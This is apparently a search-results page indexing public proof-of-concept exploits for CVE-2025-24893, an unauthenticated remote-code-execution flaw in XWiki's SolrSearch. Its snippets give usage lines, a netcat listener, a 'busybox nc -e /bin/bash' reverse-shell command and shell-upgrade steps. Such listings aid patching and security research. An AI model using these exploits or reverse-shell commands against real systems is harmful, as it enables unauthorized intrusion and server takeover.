38 matches found
CVE-2025-24893-POC
CVE-2025-24893 安装 bun： root@kitploit: curl -fsSL https://bun.com/install | bash 安装依赖： root@kitploit: bun install 运行： root@kitploit: bun run CVE-2025-24893.ts 本项目是使用 bun v1.2.19 的 bun init 创建的。Bun 是一个快速的一体化 JavaScript 运行时。 使用方法： root@kitploit: Usage: bun CVE-2025-24893.ts options Options: -u, --ur...
CVE-2025-24893
CVE-2025-24893 XWiki RCE 漏洞分析 环境搭建 1. 运行 XWiki 15.10.10 环境 root@kitploit: docker-compose up -d 2. 访问 XWiki URL: http://localhost:8080 完成初始设置后进行测试 访问初始页面后创建管理员帐户 安装 xwiki 基本扩展 赋予用户脚本权限 漏洞信息 CVE ID : CVE-2025-24893 产品 : XWiki Platform 版本 : 15.10.10 漏洞类型 : Remote Code Execution RCE CVSS : TBD PoC 代码...
CVE-2025-24893-PoC
免责申明： 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。 作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。 如涉及侵权，请及时与我们联系，我们将尽快处理并删除相关内容。 使用方法： python CVE-2025-24893.py URL COMMAND...
CVE-2025-24893-RCE-PoC
信息 此 PoC 首先测试 SSTI 是否有效，如果成功，则会进入循环，允许您远程执行命令。 当前 exec 和 shell 命令功能相同。 安装 root@kitploit: python3 -m pip install requirements.txt 用法 连接 root@kitploit: python3 poc.py 示例 调试模式设置为 False（默认） root@kitploit: python3 poc.py http://10.129.137.222:8080 Targeting http://10.129.137.222:8080 + Target is...
CVE-2025-24893
CVE-2025-24893 的反向 Shell root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" 升级 Shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2025-24893
CVE-2025-24893 使用方法 root@kitploit: python CVE-2025-24893 http://target.com...
CVE-2025-24893
CVE-2025-24893 XWiki Platform 中 RCE 漏洞的 Bash POC 脚本 使用示例： 设置 netcat 监听器： root@kitploit: $ nc -nvlp 然后运行脚本： root@kitploit: $ chmod +x cve.sh $ ./cve.sh 受影响版本： 从 5.4 到 15.10.11 从 16.0.0 到 16.4.1 免责声明 此工具仅用于教育目的。我对任何滥用行为不承担责任。...
xwiki-cve-2025-24893-poc
XWiki RCE Exploit PoC CVE-2025-24893 Overview This repository contains a Proof of Concept PoC exploit for the XWiki Remote Code Execution RCE vulnerability identified as CVE-2025-24893. The vulnerability allows an attacker to execute arbitrary code on a target XWiki instance by leveraging a craft...
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...
POC-for-CVE-2025-24893
仅用于辅助漏洞修复，切勿用于其他用途...
xwiki-15.10.8-reverse-shell-cve-2025-24893
CVE-2025-24893 XWiki用リバースシェルエクスプロイト 免責事項: このスクリプトは教育目的および許可されたセキュリティテストのみ を意図しています。所有していない、または明示的なテスト許可がないシステムでは使用しない でください。悪用は違法かつ危険です。 説明 このPythonスクリプトは、XWikiバージョン15.10.10 までに影響するリモートコード実行脆弱性CVE-2025-24893 を悪用します。 テスト済みバージョン: XWiki 15.10.8 影響: ターゲットサーバー上での任意のコマンド実行を許可します。 Pythonバージョン: Python 3...
XWiki-Platform-RCE-CVE-2025-24893
XWikiプラットフォーム 未認証RCEエクスプロイト 概要 このスクリプトは、CVE-2025-24893の影響を受けるXWikiプラットフォームのバージョンを標的としたエクスプロイトのリファービッシュされたBash実装です。これは、SolrSearchマクロのテンプレートインジェクションの欠陥を介して、攻撃者が任意のGroovyコードを実行できるようにする重大な未認証のリモートコード実行脆弱性を利用します。 元のPythonによるエクスプロイト実装はさまざまなセキュリティ研究者によって作成され、ここでは簡素化された実行と使いやすさの向上を図ってBashユーザー向けに適合されています。...
CVE-2025-24893-POC
CVE-2025-24893-POC Pythonで書かれたCVE-2025-24893のPOC 使用方法 python3 -u the url...
XWiki Platform - Remote Code Execution
Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1. id: CVE-2025-24893 info: name: XWiki...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893- CVE-20...
Exploit for Code Injection in Xwiki
CVE-2025-24893 – XWiki Remote Command Execution Proof of Conc...
Exploit for Code Injection in Xwiki
CVE-2025-24893 Remote Code Execution exploit for XWikihttp...